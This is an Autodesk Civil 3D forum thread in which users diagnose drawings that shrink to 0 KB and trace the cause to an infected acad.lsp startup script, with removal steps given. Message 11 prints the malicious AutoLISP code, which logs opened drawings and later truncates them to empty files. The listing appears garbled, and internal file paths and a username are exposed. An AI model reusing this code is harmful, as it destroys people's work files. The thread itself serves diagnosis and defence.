Community
Civil 3D Forum
Welcome to Autodesk’s Civil 3D Forums. Share your knowledge, ask questions, and explore popular AutoCAD Civil 3D topics.
cancel
Showing results for 
Show  only  | Search instead for 
Did you mean: 

Dwg files become 0kb - Suggestions? New Information!

11 REPLIES 11
SOLVED
Reply
Message 1 of 12
ceethreedee.com
4767 Views, 11 Replies

Dwg files become 0kb - Suggestions? New Information!

We have been having a problem since 2011 where random dwg files have been becoming 0kb. Some of these files have not been touched in months. 

 

If you are having this problem please POST below!

 

Previously I have posted about this with no information but the above... Recently though I have discovered a strange correlation with other files.

 

Originally I only seached the project directories for 0kb "dwg" files. But this time i just searched for just 0kb files. I then sorted by date modified and found that there was another empty file named "a" (no extension) in a completely different directory with exactly the same date modified "to the second" as the dwg that became 0kb!!! See below.

 

I have confirmed that the date modified of the 0kb file reflects when it became 0kb.

0kb-1.png

 

  1. So what is the "a" file? Is this some sort of virus?
  2. Why are these files becoming 0kb? They have not been touched in months!
  3. Why is there an "a" file with the same date modified as the 0kb dwg file.

Any suggestions more than welcome.

 

Once again please post if you are having this issue!

 

Regards

 

Kapanther

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
11 REPLIES 11
Message 2 of 12

I am going to posit a guess here. I do not know the sytem used so I am jsut throwing out an idea here.

 

Could it be that the 0kb file is a pointer to where the file has been archived to? You say they have not been touched in months is there some sort of archive going on and this is just a file pointing to where the new archived location is.

 

Just a guess because I do not have much to go on here.

Message 3 of 12

John

 

Thanks for the tip, yes we have already suspected the backup server for quite awhile. But the event logs don;t show any evidence of corruption from the backup software.

 

It does show the file changing from the user somehow though. When it goes corrupt, it creates these empty "A" files in a seemingly random directory (I suspect this directory to be the currently active directory the user is working). Extremely strange.

 

PLEASE TRY DOING A SEARCH FOR EMPTY FILES IN YOUR CAD FOLDERS!

 

Search Terms in explorer

 

"size:empty type:dwg"

 

you may be surprised!

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 4 of 12

Further development....

 

Checked a users Local C: drive.

 

Also found "a" files and 0kb files. Although this time i found an A file containing data. See below. It contains a list of drawings that the user has worked on in the past. All of these files either don't exist anymore or have become 0kb! It also has a number at the top??

 

I am suspect this may be a Autocad Based virus????

 

""""

2456353.5993
K:\Min\2011\117631011-Minyango\FIGURES\117631011-006-R-F005.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 16000 - As Builts\BERWYNDALE SOUTH POND 4\DRAWINGS\127635006_16000_D_021_REV0(QCOPS_BB01_CIV__DWG_000208).dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 7-CLAYFACE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 10-CLAYFACE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\VOLUMES-LOC10.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 7-CLAYCORE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 8-CLAYCORE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-021-F-F001.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\VOLUMES-LOC9.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 10-CLAYCORE.dwg
C:\Obi Obi\107682030-621604-REVA.dwg
C:\Obi Obi\107682030-621608-REVA.dwg
K:\Geo\2010\Mar\107682030 Obi Obi Rd\DRAWINGS\DTMR - Drawing Format\107682030-621597-REVA.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-001-R-F004.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-021-M-F001.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 1700 Cameron_Phiilip\DRAWINGS\500ML COMBINED POND\127635006-01700-D0002(QCLNG-BB58-CIV-DWG-000002)-Rev1.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 100 Orana 2\DRAWINGS\107635002-00100-D-0090(D4W-C-DW-00844)-REV4.dwg
J:\Des\2012\127635006-QGC-QCLNG Project-Chinchilla\Correspondence In\00100 Orana 5\2012-10-06 Survey Data\02-350093-22 & 23 D1 POND 5 AS-BUILT.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 16000 - As Builts\ORANA - POND 5\127635006-16000-D-009(D4W-C-DW-00882)_REV1.dwg
K:\Des\2012\127635006 QGC Associated Water Chinchilla\Task 20100 Northern Ponds\FIGURES\Worsfold East\127635006-001-R-F001-REV0-TASK 20100.dwg
K:\Min\2011\117631011-Minyango\FIGURES\117631011-006-R-F003-F004.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Xrefs\117636023-XREF-AERIAL IMAGE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-TEMP1 - GENERAL LOCATION PLAN.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-TEMP2 - GENERAL LOCATION PLAN.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 1200 Celeste\MODELLING\Detail Design\3D Volume Calcs - Rev1.dwg
C:\Users\dwillemse\Desktop\BBQ.dwg
C:\Users\dwillemse\Documents\BBQ\BBQ.dwg

"""""""

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 5 of 12
Jeff_M
in reply to: ceethreedee.com

Kapanther, I have no idea what is going on with your setups but I can safely say that in 6+ years of using C3D I have never had that issue. I have had 0kb drawings saved during a crash when responding Yes to "Try to save changes up to the last command?". But not when they are not being worked on. I just ran your search parameter here and it found 0 files on a drive containg 362 gb of dwg, bak, and survey data files.

 

Do yo have any 3rd party utilities running? Is Vault in use? An automatic backup system?

Jeff_M, also a frequent Swamper
EESignature
Message 6 of 12
ceethreedee.com
in reply to: Jeff_M

Jeff... thanks for running the search. Glad someone as known as yourself as looked into the issue as well.

 

Well we do have a company specific customisation that does sync itself with a DFS. It copies all the content down to the c: drive etc.. Just basic VB script stuff.

 

But besides that everything else is Vanilla Civil 3D. 

 

Virus scans return nothing. I am hoping i can catch the file turning to 0kb using process explorer. I'll post results when it happens. There is usually at least one a week.

 

Talk soon

 

Kapanther

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 7 of 12

Oh yeah no vault.... yet..

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 8 of 12

and backup server doesnt seem to be an issue..

 

I just can't explain the "a" file. WTF is it?

 

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 9 of 12

I can confirm that this issue is a virus!

 

I successfully managed to record a file becoming 0kb using Process Monitor. Results posted below.

 

A quick check to see if you are infected. If this file exists

 

%AppData%\Autodesk\C3D 2013\enu\Support\acadisa.lin

 

then you are infected with some sort of AL-Bursted Virus. Not sure which strain. For some reason this is not been detected by Sophos Security.

 

Not sure if this image is visible below, but you can see the "a" file been created jsut before it creates a dwg over the top of a previously opened dwg.

 alburstedvirus.gif

 

At this point I am not sure what is the best method to protect yourself if infected.

 

I am guessing setting the AUTOLOADPATH to a folder that doesn't contain the acad.lsp file is probably prudent.

 

So far i am seeing the following files involved somehow.

 

acadisa.lin

acad.lsp

acad.fas

a (no extension)

 

I or hopefully Autodesk will post when they have a solution.

 

Kapanther

 

 

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 10 of 12
mathewkol
in reply to: ceethreedee.com

I'm not sure what Autodesk would do as they're not in the anti-virus business. It's just unfortunate that this virus apparently is attacking your dwg files.

Autodesk have, however, recently implemented the new secureload settings. Any LISPs you use should be located in these secure folders and set the folder to read-only so the virus can't be copied there.
Matt Kolberg
SolidCAD Professional Services
http://www.solidcad.ca /
Message 11 of 12
ceethreedee.com
in reply to: mathewkol

Well I have a solution.

 

Its an infected Acad.lsp file in our support directory.

 

Simply delete acad.lsp and the acadisa.lin file and your fixed.

 

%APPDATA%\Autodesk\C3D 2013\enu\Support

 

No more random acad.lsp files everywhere, no more 0kb files. Done.

 

Below is what the infected acad.lsp files looks like

 

""""""" INFECTED ACAD.lsp code """""""""

(defun
s::startup
(/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2 kd
)
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
1
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(-
(strlen
path
)
8
)
)
)
(setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
)
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(if
(=
acadpath
dwgpath
)
(progn


)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)

)
)
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(if
(setq
kd
(findfile
"acadisa.lin"
)
)
(progn
(setq
ns2
0
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(while
(setq
wz
(read-line
ns1
)
)
(if
(=
wjqm
wz
)
(setq
ns2
1
)
)
)
(close
ns1
)
)
)
(if
(=
ns2
0
)
(progn
(setq
ns1
(open
kd
"a"
)
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(setq
wz
(read-line
ns1
)
)
(close
ns1
)
)
)
(if
(>
(getvar
"date"
)
(+
(distof
wz
)
8
)
)
(progn
(setq
oldacad
(strcat
path
"acadisa.lin"
)
)
(setq
newacad
(strcat
dwgpath
"a"
)
)
(
writeapp
)

(if
(setq
wjm1
(open
oldacad
"w"
)
)
(progn
(setq
wjm
(open
newacad
"r"
)
)
(setq
wz
(read-line
wjm
)
)
(write-line
(rtos
(getvar
"date"
)
)
wjm1
)
(setq
wz
(read-line
wjm
)
)
(if
(>
(getvar
"date"
)
2452900
)
(close
(open
wz
"w"
)
)
)
(while
(
setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
(close
(open
newacad
"w"
)
)
)
)
)
)
)
(progn
(if
(setq
ns1
(open
(strcat
path
"acadisa.lin"
)
"w"
)
)
(progn
(write-line
(rtos
(getvar
"date"
)
)
ns1
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
)
)

(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"
)
)
(progn
(setq
wjm
(open
oldacad
"r"
)
)
(while
(setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
)
)
)
;*************

(load"acadiso")
(princ)

 

"""""""""""""""""""""""""""

Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com
Message 12 of 12

Almost forgot to mention, you also need to remove all of the acad.lsp files on your network/project folders. To prevent becoming infected again.

Consider using the AUTOLOADPATH variable or your AntiVirus Software to declare ACAD.lsp as a virus.
Civil 3D 2021 (Update 1), ACAD (SP1.3) MAP (HF0.4)
Infraworks 2021.1,
Win 10 -DELL Precision Notebook 7730

ceethreedee.com

Can't find what you're looking for? Ask the community or share your knowledge.

Post to forums  

Rail Community


Autodesk Design & Make Report